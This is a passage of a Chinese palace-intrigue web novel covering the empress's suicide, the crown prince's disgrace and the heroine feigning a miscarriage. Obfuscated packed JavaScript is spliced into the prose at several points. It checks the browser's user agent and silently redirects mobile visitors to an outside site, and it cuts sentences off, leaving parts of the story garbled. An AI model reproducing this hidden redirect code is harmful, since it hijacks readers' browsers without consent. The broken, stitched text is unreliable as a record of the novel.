“裴思远那个混蛋!竟敢出来插一脚!等我登基了,灭你满门!” 而后,萧景泰又等到了他的三千护卫军,自从进了镇北王府,一个都没走出来的消息…… 一直来回踱步,焦急等待消息的萧景泰,终于慌了神,去找他的母后商议。 沐若微正呆愣愣地坐在凤椅上,见儿子来了,都没有起身,安静得就像一尊雕塑。 萧景泰真是破大防了,哑声嘶吼道, “母后!你在干嘛!我都要急**,你还坐这么安稳!” 尽管萧景泰都要急哭了,但是,皇后也没什么大反应,只是淡淡地道, “方才,勤政殿给我送来消息,说皇上已经退热了。” 萧景泰满眼都是难以置信,倏尔崩溃大吼, “母后,你在说什么啊?天花怎么治得好?父皇明明已经病入膏肓了! 他现在定是回光返照!不可能退热!” 沐若微落下了两行泪, “是镇北王请来了鬼医婆婆。 鬼医婆婆你没听过吗?这两年,名动上京城,专治疑难杂症的。” 萧景泰瞪圆了眼睛,直摇头,吼道, “不可能!这绝对不可能! 鬼医婆婆去云游了,都停诊快一年了!我一直都想请她医治太子妃的腰伤,一直找不到人! 我给济心堂的伙计留下了十万两定金,说是鬼医婆婆回来,第一时间就通知我的! 什么鬼医!那肯定是萧北铭放出来的假消息! 下一步,他就要假传遗诏了! 我要去勤政殿看看!我要去亲眼看看!” 沐若微突然站起身,大喝一声, “你站住! 那鬼医婆婆是真是假都不要紧,要紧的是,她真的能治好天花! 现在最主要的问题是,你的三千护卫军,在哪里?” 萧景泰破防落泪,还强硬的自己骗自己,很大的声音吼道, “当然是在镇北王府里埋人啊!八百府兵加上两千巡防营,可不得埋好一阵嘛! 他们没回来,多正常啊! 总不至于,我的三千护卫军,会输给他们两千八百人吧?” 第191章 朕还没死呢,太子就敢对亲弟弟下**了! 沐若微走上前去,一个大嘴巴扇过去,好让现在接近于癫狂状态的太子清醒清醒! 她极力保持镇定,一字一句道, “你听着! 我早就给你登记了天花,就在你父皇染病的第二日,你也病倒了! 只是为了让你父皇安心养病,我才没有将此事告诉他! 这些天,宫里宫外一切的事情,都是**的! 跟你一点关系都没有! 你一直在东宫养病,什么都不知道!” 萧景泰震惊,“母后……” 沐若微又塞给萧景泰一块染血的手帕,紧紧握住他的手, “你马上回去躺着,把这手帕盖在脸上,很快就能染上天花。 你父皇最是心软,只要你咬死不认,他不会让你死的。” 萧景泰接着手帕,浑身颤抖开来,瞳孔震颤地看着自己的母后,声音嘶哑, “母后,那你呢?” “我?呵呵。” 沐若微留下了两行泪,哭着哭着就笑了, “我和你父皇,是少年夫妻,一路互相扶持成为了帝后。 生下的皇长子,一出生就被封为太子。 你父皇自然是最疼我的。 无论我犯什么错,他都不会杀了我。 你走吧!你快走!” 萧景泰犹豫一瞬,狠了狠心,跪地给母后磕了三个响头,起身就走了。 他心里知道,他这一走,他们母子,从此就要天人两隔了。 但是,他别无选择,只有保住自己的太子之位,才能为母后报仇! 萧昀久违地喝了一整碗粥,精神头和力气都恢复了一些。 他终于确认: 朕真的不用壮年崩殂了! 彼时,夏公公才呈报了一封江南来的八百里加急。 萧昀打开看了看,是江南爆发瘟疫的消息。 他病了这些天,心中已然有数了,自己不可能无缘无故地感染瘟疫,一定是人祸! 是谁在谋害朕? 万幸的是,现在有有效的药方了,也不至于天塌了。 萧昀镇定地下了口谕,派出了钦差大臣,带着鬼医婆婆的药方,去江南抗疫。 彼时,萧南征终于来了,他从门口,一直跪爬过来,哭得涕泪滂沱, “父皇,二皇兄无缘无故就揍了我五十军棍,把我都要打残了,我骑不了马,故而才来迟了……” 萧昀对萧南征的表现很失望,进来第一件事,不是关心他从鬼门关上回来的父皇,还先告上状了。 萧昀就任由他哭诉,也没有理。 还是萧楚钰端过来了一方面巾,打破了尴尬的气氛, “老四,覆面,免得把外面带来的病气过给父皇。” 萧南征揩了揩眼泪,蒙上了面巾,在殿内扫视了一眼,没有看到萧景泰。 彼时,萧南征已经听说了十率府围了镇北王府的事情。 此情此景,他心思一晃: 萧北铭进宫早,他怕是还不知道这事儿,要不然,他不能安安静静地待在这里。 这么大的事情,如果不马上告诉父皇,万一被皇后和太子想到化解的办法,被遮掩了过去,该如何是好? 扳倒东宫的机会千载难逢,可不能错过! 思及此,萧南征蓦然开口问道, “太子哥哥怎么没有在这里侍疾?” 萧楚钰说道, “太子哥哥也感染上了天花,都病好几天了。 不过,你也别担心,他吃了药,也马上就能好了。” 萧南征作恍然大悟状, “哦,原来如此,看来,外面传说的十率府的刘冉带数千人打进了镇北王府的消息,是假的。” 萧昀倏尔瞠目, “你说什么?!” 萧南征道,“父皇,儿臣也只是听说,儿臣着急进宫看您,就没多打听。” 萧昀勃然大怒,“夏公公!怎么回事!” 夏公公跪地,“皇上息怒,方才您刚刚退热,镇北王说,您龙体安康是最大的事,镇北王府的事都是小事,不急着跟您奏报。” 萧昀心中一暖,还是老二懂事啊,知道心疼他父皇。 他看向萧北铭, “老二,到底怎么回事?” 萧北铭跪地说道, “父皇,十率府的刘冉,带了三千东宫守卫军,打进了镇北王府,不由分说,一通乱杀。 乌二派人向巡防营救援,裴武卫长亲自带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422936|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两千人赶来救援。 现下,事情已经平息了,王妃和晏儿都安好。 请父皇安心养病,切莫忧心。” 萧昀气得五内俱焚,朕还没死呢,太子就敢对亲弟弟下**了! “把皇后和太子,都给朕叫过来!” 然而,夏公公却带来了皇后留书一封,以及皇后自缢的消息…… 大病初愈的萧昀,实在受不住这接二连三的刺激,眼前一黑,就晕了去过。 众位太医赶紧把鬼医婆婆推了出来。 这可把这位八旬老妪吓坏了,镇北王也没给她治疗晕厥的方子啊! 就她那半吊子的医术,哪里敢给皇上胡乱开方子?吃**不得诛九族啊? 好在,镇北王选中的人,也是个能随机应变的,切脉之后,老妪一脸坦然道, “各位大人,实不相瞒,老身只擅长治疗疑难杂症,皇上这是寻常晕厥,老身不知道如何开方子。” 鬼医对外的宣传口号,可不就是专门治疗疑难杂症吗? 十分合理。 鬼医婆婆推辞之后,太医院的院首,才出马,给皇上施针,把人唤醒过来。 同时,院首也松了一口气: 这鬼医婆婆不会看寻常之症,看来,不会来抢他的饭碗。 这宫闱之中,哪里有那么多疑难杂症给她治啊。 萧昀不顾自己大病初愈后的体虚,坐着龙辇,来到了皇后的宫中。 彼时,沐若微已经被放下来了,她一袭白衣,素颜脱簪,是罪妇的打扮。 萧昀到底是个重感情之人,刚刚暴躁的怒火,在看到发妻冰冷的尸体之时,都散去了,只剩下了一脸麻木。 他展开了皇后的遗书。 沐若微把一切罪责都揽到了她身上, “……臣妾失察,才让萧晏把天花带入了皇宫,又传给了皇上和太子。 臣妾有罪。 臣妾痛心夫君和儿子遭此大难,故而又让刘冉带十率府去坑杀镇北王府满门。 臣妾承认,这里很大程度上,是泄私愤。 但是,臣妾也是为了防止天花扩散,为了上京城的百姓不被感染到。 臣妾是个罪人,臣妾认罪伏法……” 第192章 同时扳倒太子和镇北王的机会 萧昀看着皇后冰冷的尸体,心底寒凉和难过交织,落下了两行泪: 小微,你到底做了什么,竟到了自戕的地步…… 萧昀和沐若微结发三十载,他当然知道,她不可能因为失职亦或者对镇北王府动手了就自戕。 毕竟,天花现在有解药了,镇北王府的王妃和孩子也都还活着,事情远远没到那种要命的地步,甚至都不会动摇她的后位。 但是,更深的原因,他现在不敢去想,一想,就头晕,心口疼…… 皇后薨逝,天子恸发妻,太子哭生母。 萧景泰顶着一脸红痘子,泪流满面地指着萧北铭,怒吼道, “都是镇北王府瞒报了萧晏身患天花一事!害**我的母后!萧北铭!你这个十恶不赦的大罪人!你该死!” 萧北铭好整以暇地看着他, “镇北王府,并无人得天花。” 萧景泰声嘶力竭地吼道, “都到这个时候了,你还敢撒谎!萧北铭,你敢让你儿子进宫给大家看看吗?” 萧北铭淡淡地回道, “我不敢,我的儿子,刚刚受到了一场巨大的惊吓,现在已经半夜了,他需要休息。” 萧景泰一听此言,更加有底气了,转头看向萧昀, “父皇,您听啊,他不敢!就是他把天花传进上京城的!是他害**我的母后!” 萧南征见眼前的形势,也判定镇北王府是天花的源头。 要不然,皇后断然没必要在绝笔信里提及此事,他是想用自己的死,带走镇北王。 萧南征激动得心脏狂跳。 能同时扳倒太子和镇北王的机会可不多。 当年,自己精心布局,给萧北铭下热毒,想让他在北疆带病作战,屡战屡败,死在北幽人的手里,最后落得身败名裂的下场。 亦或者,萧北铭放弃驻守北疆,回上京养病,和太子死斗,斗倒太子后,他再毒发身亡。 可惜,两个他想要的结局,一个都没发生…… 后来,他就请了道士在家天天做法,想让他们两个厄运缠身,快快作死。 一定是做法起效了,才有了今时今日这个局面。 兹事体大,他们两个肯定要折一个才能收场了。 萧南征欣喜若狂地抓住了这个天赐良机,连忙煽风点火道, “二皇兄,你就让晏儿进宫给大家伙儿瞧瞧吧。 要不然,太子哥哥这么闹腾,父皇也没办法好好养病。 再说,天一亮,所有人都要进宫给母后守孝,也不差这两个时辰了。” 彼时,苏苡安正睡在安康郡主府的床榻上,噩梦连连。 她又梦见了自己上战场了,眼前的景象是伏尸百万,流血千里,怎一个惨字了得。 苏苡安从噩梦中惊醒,身上的薄睡衣,都被冷汗湿透了。 她觉得,一定是白日里在镇北王府看到太多将士的尸体了,才会做这种噩梦。 苏苡安招呼丁香给她熬了一碗安神汤,喝完继续睡了,彼时,她无比想念萧北铭的怀抱。 被他宽阔而又温暖的怀抱抱着,到底会睡得安稳些…… 苏苡安刚刚睡着,又被丁香叫醒了,宫里传召,她只能黑着脸,带着起床气和萧晏入宫。 萧晏一进来,就往萧昀的怀里冲, “皇爷爷,我好想你啊,听我娘说你病了,现在好些了吗?” 萧昀眼眶一热,这孙孙,怎么这么暖心啊。 明明他白日里才受到死亡的威胁,现下不但不跟朕诉苦,还反过来关心朕…… “乖孙儿,皇爷爷已经好了,你快离皇爷爷远一点,别把天花传给你。” 萧昀眼神示意苏苡安把孩子抱走。 苏苡安本来是带着起床气来的,当她看到顶着一脸痘子的太子,起床气当场就散了。 想想这位长得还算好看的太子,以后就要变成麻子脸了,她硬是把两辈子所有的伤心事想了一遍,才憋住没笑。 彼时,萧北铭冷冽的目光看向太子和宁王, “你们两个都看见了,晏儿无碍,小脸儿白白净净的,一颗痘子都没有。” 萧景泰竖眉瞪眼,朗声道, “一定是长在身上了!父皇的痘子不就长在胸口了吗?” 萧晏二话不说,当场就爽快地脱了单衣,连鞋袜都脱了,只给自己留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422937|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一条亵裤。 浑身光洁,就脚丫子上一疤,是他从前爬树的时候刮的。 萧北铭恭敬地冲上抱拳, “请父皇明鉴,晏儿没有得天花,只是他生在北疆,天生怕热,夏季容易发热晕厥,长痱子而已。” 萧景泰目眦欲裂,暴躁狂吼道, “萧北铭,你胡说八道! 一定是萧晏的天花爆发得早,你提前找了鬼医婆婆给他治好了!” 萧北铭一个眼神送过去,八旬老妪站出来,说她作为鬼医婆婆的台词, “皇上,老身是能治好天花,但是,却治不好天花留下的痘疤。 老身也敢说,这天下,谁都治不好天花痘子留下的坑洼。 这位小殿下,浑身一个痘疤都没有,绝对没有得过天花。” 萧北铭扫视了在场所有的太医, “敢问各位太医,你们可能祛除天花留下的痘疤?” 太医们纷纷摇头。 萧景泰一看此情此景,原本就处于崩溃边缘的他,就更加癫狂起来了,他无法接受自己以后变成一个麻子! 萧景泰面目狰狞张牙舞爪地朝着‘鬼医婆婆’咆哮着冲了过去, “你个冒牌货,在危言耸听什么!” 萧北铭一个箭步,挡在了老妪的身前,大长腿飞起一脚,把太子踹飞。 萧景泰远远落地,摔得浑身生疼,他捂着疼痛的胸口,声嘶力竭地吼道, “萧北铭!你竟敢刺杀本太子!是要谋逆吗?” 萧北铭立即回怼, “你想杀死父皇的大夫,是何居心?” 萧楚钰见状,被害妄想症发作,吓得连连往后躲,躲到了苏苡安的身后: 二皇兄这么有力量的一脚,若是踹到了他的身上,他就得吐血而亡了。 二皇兄实在是太生猛了,他先是在军营里敲了宁王五十军棍,又当着父皇的面踹太子一脚,他还有什么不敢的? 随便找个理由,拍我一巴掌顺手的事儿…… 彼时,苏苡安表面淡漠看客,心中却骄傲地竖起了大拇指,为萧北铭点了个赞: 不愧是我看上的男人,踹人的姿势就是帅! 第193章 中登老登 萧昀眼看着太子挨了萧北铭这一脚飞踹,内心不由地喊了一句: 踹得好! 竟然想掐死朕的大夫,安得什么心啊! 你个逆子! 萧昀到底是心软,他顾念皇后刚刚逝去,太子的丧母之痛,没有对殿前失仪的萧景泰动怒,只是递给夏公公一个眼神。 夏公公会意,立即叫来了御前侍卫把疯癫的太子架走了。 萧昀又对苏苡安说, “镇北王妃啊,你送晏儿回府吧,他身子骨不好,还病着,明日就不用进宫给皇后守灵了。” 这么好看懂事的小孙孙,若是感染了天花,从此变成麻子可如何是好。 萧晏特别灵巧地跪地谢恩, “多谢皇爷爷~” 萧昀又转头,看向萧北铭, “北铭,你送他们母子回去。” 皇上体恤他们母子今日受到了围剿的惊吓,觉得有必要让镇北王去安慰他们一下,给他们一点说话的时间。 要不然,今后的七日皇后大丧,他们连说话的机会都没有了。 苏苡安给皇上行了告退礼,又瞥了一眼太子才退下。 这次,她的目标就是噶掉皇后,把太子变成麻子,纯属意外收获。 三个人一上马车,萧北铭就把苏苡安揽进了怀里,下巴抵在她的头顶,深情款款道, “我好想你啊……” 苏苡安环着萧北铭的细腰,脸颊埋在他的颈窝蹭了蹭, “我也很想你。” 这几日的分别,千言万语,都化在了这个拥抱里。 萧晏默默垂下了头,眼观鼻,鼻观口,口观心,腹诽着: 这中登,到底什么时候才能去南疆领兵啊? 整日跟我抢娘亲,你没有自己的娘亲可以抱吗? 整日抱我的娘亲作甚,真是烦**! 萧晏敢怒不敢言,只能在心中期待,将来这中登去南疆了,自己就会有许多年都见不到他。 等过十年八年他再回来,自己就长大了,就再也不怕他了。 他再敢抱我的娘亲,就把他从窗户上丢出去! 萧晏默默地扭头看车窗,判断这个尺寸能否把这个讨厌的中登丢出去。 结论是,不能,这个中登块头太大了,要从车门丢出去才行。 然后,萧晏就垂眸看自己摊开的小手,臆想这只手什么时候才有力气一把把他拎起来…… 三个人回到了安康郡主府。 苏苡安打发萧晏自己回去睡觉,她却是没时间补觉了。 天已经快亮了,他们两个马上就要进宫去守灵了。 这之前,她还有事情要跟萧北铭提前知会, “我想跟你商量一件事?” 萧北铭不解,“什么?” 苏苡安抿唇一笑, “嘿嘿,我不想给皇后守灵,我想自己下点药,造成小产的样子,你到时候配合我演一下。” 萧北铭就像被雷轰了一样,整个人僵了一瞬,倏尔提高了声音, “小产?!你有了吗?” 苏苡安:…… 是我的表达能力出问题了,还是他的理解能力有障碍了? 苏苡安赶忙给他顺顺胸口, “稍安勿躁,稍安勿躁,我没有孕,只是,想逃脱给皇后守灵,我现在只能想到这个办法。 要不然,灵前跪上七日,我双腿就要跪残废了。” 萧北铭还是很紧张,拉起了她的手,蹙眉道, “伪装小产,那岂不是会伤身子?你先别忙着吃药,我们再想想办法,还有点时间。” 苏苡安抬手抚平了他眉心的褶皱, “你放心,就是用点药,提前来月事而已,不伤身的,反正,每个月都要痛一遭。” 时间急迫,萧北铭一时间也想不到更好的办法,只能陪着她配药,熬药。 熬药的时候,两个人聊起了今日发生的事情。 苏苡安问道, “你说,父皇能查出来是东宫**把天花传给他的吗?” 萧北铭摇摇头, “谋害天子,可是灭九族的大罪,皇后连自己都灭口了,怎么还会留下相关知情人员?” 苏苡安一脸失望, “那太子岂不是死不了了,真是遗憾。 不过,**镇北王府的是太子的护卫军,这么大的事情,皇上会不会废了他?” 萧北铭表情凝重, “皇后把所有的罪责都揽到了她的身上,以死谢罪了,咱们又都还活着,我觉得,太子是可以脱身的。” 苏苡安义愤道, “皇后一封绝笔信说揽罪就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我还没想好,等我想好了,再告诉你。” 感情,是打嘴炮啊,唉! 苏苡安也懒得说这事儿了,毕竟,父皇还挺健壮的,再活二三十年都没难度。 操心那么遥远的事情做什么? 自己再喜欢萧北铭也不可能跟他过二三十年。 她无论如何都接受不了自己床上躺着一个老登,要不然,她现在辛辛苦苦赚的那么多钱,将毫无意义…… 还是顾好眼前,先把给皇后守孝的事情躲过去吧。 第194章 不要调戏为夫! 苏苡安转身,捏起一块方巾,端起了药罐子,把汤药倒到了小碗里。 萧北铭痴汉的眼神,看着她吹药喝药: 我媳妇可真好看。 脸蛋雪白,嘴唇殷红,艳若桃李,灿过朝霞。 看得他心旌摇曳。 等她一放下药碗,立即就吻了上去。 苏苡安刚喝完超级苦的药,不愿意跟他分享这份苦涩。 奈何,她越推,他抱得越紧,好不容易才掀开一条唇缝, “来不及了,已经天亮了。” 萧北铭看了一眼窗外,已然泛起了鱼肚白,确实来不及了。 顿时,整个人就泄了气,真是抓心挠肝的难受。 还好,她没有真的怀上,要不然,可是要等十个月,他都怕给自己想疯了。 更遑论以后要去南疆作战,分别好些年,整日对她牵肠挂肚,还担心她会红杏出墙。 那他肯定会在战场上分心,会阵亡的…… “不过,戳一下腹肌的时间还是有的,萧二兔,宽衣,给姐姐看看腹肌。” 萧北铭一瞪眼,义正辞严道, “不要调戏为夫!” 好说好商量不行,苏苡安就直接动手了,去扥他的腰带。 萧北铭护着不让解,一来二去,两个人就撕扯起来了,还是带招式的。 苏苡安空手近战的本事,比她用冷兵器厉害得多,三下五除二就抓碎了他的衣衫,得手了。 把八块规整的腹肌,恣意地搓磨了一顿,也不管把人家撩拨成什么样了,拔腿就跑。 萧北铭气得咬牙切齿: 世上怎么会有这么坏的人啊,管杀不管埋啊,还有天理吗…… 萧北铭迈开大长腿追过去,在门口把人捉住,摁在墙上, “欺负本王,军法处置!” 身穿孝服的乌二,捧着托盘,托盘里放着孝服,站在厨房的院子里,一会儿看天,一会儿看门,尴尬得直抠脚,心中抱怨不迭: 天下怎么会有怎么难办的差事啊! 去招呼他们吧?八成会换来一顿男女混合双打,自己的小命不保。 不提醒他们吧?眼看就要迟到了,太子怕是要借此大做文章,他们进宫少不了要受一顿好罚。 乌二实在是没辙,急出了一头汗水,最后,把托盘放到了院子里,去把马车赶了过来。 万幸的是,他把马车赶过来的时候,这两人已经穿好孝服站在院子里了,只是,双双脸上的红晕未退。 非礼勿视,乌二赶紧撇开了目光,充当马夫,并且在心中暗暗发誓: 我这辈子都不要成亲,既不为难自己,也不为难别人。 三个人踩着点儿一同进了宫,男女是分开守灵的。 苏苡安看着平日里锦衣华服满头珠钗争奇斗艳的各宫娘娘们,今日都褪去盛妆华服,清一色的孝服穿在身上,无论是年轻的还是年长的妃子,不但不丑,反而美得各有千秋。 都是货真价实的大美人,皇上真是好福气。 萧北铭赖好都是个王爷,以后也会纳姬妾吧? 世上应该没有人受得了这种美人环绕的诱惑吧? 就连自己一个喜欢男人的女人看着都怦然心动,更何况他是个身心正常的老爷们呢? 那样也好,我就没有甩掉他的负罪感了…… 苏苡安心里东一榔头西一杆子地胡思乱想着,表面上听着礼官的指挥,一会儿跪一会儿起,烦躁得不行。 每给沐若微磕一个头,她都觉得自己亏大发了,又盘算着日后找太子给她磕回来。 倏尔,苏苡安的小腹一痛,她知道自己喝的药起作用了,捂着肚子,就弯下了腰。 周围的妃子和命妇都看了过去。 九公主萧佩玖见良妃娘娘没有给身子不适的镇北王妃说话的意思,马上跑过去,搀扶着她,对礼官说, “镇北王妃伤心过度,要晕倒了,我扶她去偏殿休息。” 太子妃站了出来,拦住了二人的去路, “本宫带着腰伤,都能给母后尽孝,镇北王妃如此健壮,两拳就能打死一个男人,磕几个头就要装病吗?” 萧佩玖据理力争, “太子妃嫂嫂,你看,镇北王妃的脸都白了,她真的是伤心母后离世,要晕倒了,你就让她去偏殿歇一会儿吧。” 太子妃冷眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧昀虽然大病未愈,但是,武将出身的他,这一脚的力度着实不轻,萧景泰在地上滑出去好远才停下。 萧昀真真是火大! 要不是这个混账昨日去围剿镇北王府,镇北王妃怎么会惊惧过度? 彼时,萧昀真真是痛心,如果镇北王妃这个孩子能生下来,明年,像晏儿那样的乖孙孙,他就有两个了…… 彼时的萧景泰,已经没有昨夜的狂躁了,他又乖乖地跪了起来,爬到父皇的跟前,想继续接受父皇的雷霆之怒。 只要父皇打他打够了,把这股火撒出去,就不会再打他的太子妃了。 太子妃的身子骨太柔弱了,可受不住父皇的暴打…… 萧昀气得不行,只觉得眼前一黑又一黑,身子直打晃,幸而夏公公及时出手扶住了,他才没有摔倒。 萧昀闭了一会儿眼睛,稳了稳心神,才对萧北铭说, “老二,送你的王妃回府,好好照顾她,这个孝,不必守了!” 萧北铭泪流满面地跪谢了父皇,抱起了苏苡安,出宫。 上了马车苏苡安才慎重地睁开了眼睛,只看到了萧北铭红红的眼眶。 她柳眉一挑,娇媚一笑, “你继续哭呗,我想看~” 萧北铭满眼幽怨地看着她: 她这到底是什么怪癖啊…… “那你慢慢想。” 苏苡安敛了笑容,无辜道, “所以呢?这么小小的愿望你都不满足我,你对我的爱是会消失的吗?” 萧北铭深眸注视着她,言辞恳切, “我会永远都爱你,但是,你能不能不要把为夫当玩物啊?” 苏苡安又颔首一笑: “什么玩物啊?你明明是个尤物,天上仅有人间绝无那种。 你若是玩物,也肯定是我这个凡夫俗子玩不起的价码。” 萧北铭眯起眼睛看她,“那你还想看我哭吗?” 苏苡安勾唇一笑,觉得自己必须要让步了, “不想,不想了,我现在只想一觉睡过去,醒来肚子就不疼了。” 萧北铭把人怀里紧了紧,轻拍着她的肩膀, “睡吧。” 苏苡安一闭眼,也不知怎地,满脑子都是战场上的金戈铁马以及厮杀声。 看来,镇北王府被围剿一时,真的给她留下阴影了,她自然知道自己不会害怕尸体,就判定是太担心晏儿的缘故。 不喝安神汤,她很难入睡。 回到安康郡主府,等安神汤的功夫,苏苡安就翻出了床头的话本子,让萧北铭念给她听。 萧北铭瞥了一眼这两本书《国色偷香》《沉鱼落艳》,一看书名就不是什么正经的话本子。 “哪里来的?” 苏苡安如实告知, “我爹给的,还是我爹亲笔写的呢。 我都看好几本了,这两本我还没看过。 我爹不愧是探花郎,真的是文采斐然啊。 难怪他年轻的时候,生了一堆孩子,脑子里全是这些知识,搁谁谁都得实操一下。” 苏苡安的语气,颇为骄傲,因为她终于发现了苏怀仁的一个优点,也是不容易。 萧北铭瞬间脸黑, “我看他是活腻了,竟然给你写这种东西!” 苏苡安也是没想到,他会因为这个发火,连忙灭火, “哎呀,我爹也没说是他写的,是我自己看字迹认出来的。 再说,我爹爹也是好心嘛,他不是看你马上就要去南疆了,想让我好好伺候你,给你生个一儿半女出来嘛。” 萧北铭更气了,“那也没有当爹的,给女儿这种东西的!” 苏苡安连连给他顺胸口, “哎呀,我不是没有娘了嘛,连姨娘都没有。 再说,这也不是他亲手给的,是他让府上的婆子送来的。 毕竟,如今,他所有的儿子都在你手里攥着,着急讨好你,也是情理之中,可偏偏,他的库房里已经空无一物了。 除了满腹才华,他还能拿得出啥呀? 理解万岁嘛,你别钻牛角尖了。” 旁的理由不论,就冲她说她没有娘了这一点,萧北铭也无法继续生气了,只能打开话本子,给她念。 念了几段,他就脸红心跳了起来。 苏怀仁真是有点东西…… 苏苡安嬉笑道, “怎么样,我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422940|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探花郎爹爹有点墨水吧?我准备把这些书都刊印发行,大赚一笔。” 萧北铭愕然,“这……不好吧……” 南离并不**,什么样的书,都能发行,只是,萧北铭觉得,这种书实在有辱斯文。 苏苡安却是不以为意,还振振有词, “有钱不赚王八蛋啊,没什么不好的。 再说,我爹拿了版权费,他能靠自己的双手养活他的那群儿女了,简直是太好了。 要不然,下一步,你前脚一去南疆,他后脚就要来找我要钱了。 我真担心我这暴脾气,哪天一生气就把他捏**。 到时候,你不在身边,可没人拦得住我,我就要背着杀父的罪名潜逃了。” 萧北铭眉眼一压,紧张外露, “你要逃到哪里去?” 苏苡安哂笑,“你就不会让我刊印这些书,让我爹赚到钱,避免这些事的发生?” 萧北铭皱眉思索一瞬,和失去媳妇比起来,印书这点小事,都不叫事了, “做好保密工作,不要让人知道这东西是你爹写的,更不能让人知道是你印的。” “好嘞。” 两个人说着话呢,丁香端着安神汤进来了, “主儿,安神汤已经凉到五分汤了,可以喝了。” 苏苡安一口闷了安神汤,招呼萧北铭上床陪睡, “这些日子,你不在,我都睡不安稳,快让我抱抱。” 萧北铭一想到他离开的这些日子里,她夜夜都不归宿,就无比难受,不得不把这事摆出来说个清楚明白,就阴阳怪气道, “怎么会睡不安稳,是睡外面的被褥不习惯吗?” 苏苡安正色道, “我哪里睡外面的被褥了?这些日子,我城东城西,城南城北地四处查账,查到哪里,晚上就就近歇在我的私宅里了。” 萧北铭一个字都没信,讥讽道, “然后,半夜再翻墙回王府看看那个小东西,再接着回你的私宅睡吗?” 苏苡安一脸坦然, “那倒不是,是我睡到半夜出来**,杀完人,顺路回去看看晏儿,然后再顺路,去杀另一个人。” 第196章 **总比偷人好 萧北铭觉得她编出来的这个理由,是她跟他撒的所有谎里最不走心的。 自己真的是太纵容她了,如今,她都不愿意认真编一个好的理由敷衍他了。 心思反应在脸上,表情就很凝重,挖苦道, “你还干上**越货的买卖了?” 苏苡安淡笑出声, “你瞧不起谁呢?我有的是赚钱的路子,才干那么辛苦的买卖呢。 我是清理门户。 白天查账,晚上,把私吞我钱财的掌柜都杀了。” 这下,萧北铭反而觉得她的话有了几分可信, “展开说说。” 苏苡安说起这事,就来气, “我和我的那些掌柜,都签了契约,我给他们高额的工钱,分红还有赏钱。 唯一的条件就是,他们不能坑我的钱,否则,一文钱起步,格杀勿论。 但是,总有人怀着侥幸心理,觉得黑纸白字是写着玩的,把我当成人美心善的散财童女了。 害得我不得不半夜起来**,忙活了好几宿,都没睡过一个囫囵觉。” 萧北铭看她这副好似是自己受了委屈的样子,判定她方才的那番话可信。 毕竟,这是她独特的思维方式和行事风格,别人学都学不来。 罢了,**总比偷人好…… 萧北铭压在心头数日的憋闷和火气,现下散尽,又饶有兴趣地问道, “你杀了那么多人,是怎么善后的?” 苏苡安轻描淡写道, “一把掐死,杀完就走人,善什么后?谁还能查到镇北王妃的头上啊? 问我我也不认,谁能把我怎么样?” 萧北铭:…… 苏苡安倏尔想起一件大事,煞有介事地试探道, “对了,我以后可不去镇北王府住了,满地血水尸臭,恶心**了。” 萧北铭轻拍着她的后背, “睡吧,以后,你不用住那里了。” 苏苡安柳眉一挑,嬉皮笑脸道, “那你住在我的郡主府,算不算是入赘给我了?” 萧北铭无奈地把人往怀里紧了紧, “你这个想象力,真是超乎想象啊,睡吧。” 彼时,苏苡安肚子痛得如同有人在用刀子搅她的肠子,一度让她觉得,她是真的滑胎了。 最不济,也是难产后遗症。 她赶紧皱了皱眉头,把这些荒谬的想法从脑子里赶出去。 自己一点都不擅长妇科,瞎诊断什么? 原主可是一个被关在道观里长大的古代贵女,及笄之年又回苏府吃了三年泔水,怎么可能生过孩子? 苏苡安一回想这具身子的过往,就头疼,就算喝了安神汤,此刻她也无法安然入睡,就想从萧北铭身上找点乐子, “肚子疼得睡不着,不如,你给我唱首歌听听吧?” 萧北铭蹙眉轻嗤, “我做了什么,给了你错觉,让你觉得我会唱歌?” 苏苡安抬手,用中指的指腹揉了揉他高耸的喉结,笑道, “不会可以学嘛,你看丁香和铁柱,跟我的时候,谁都不会唱歌,现在不都会唱了。我看你这喉结生得大,很有做歌姬的潜质。” 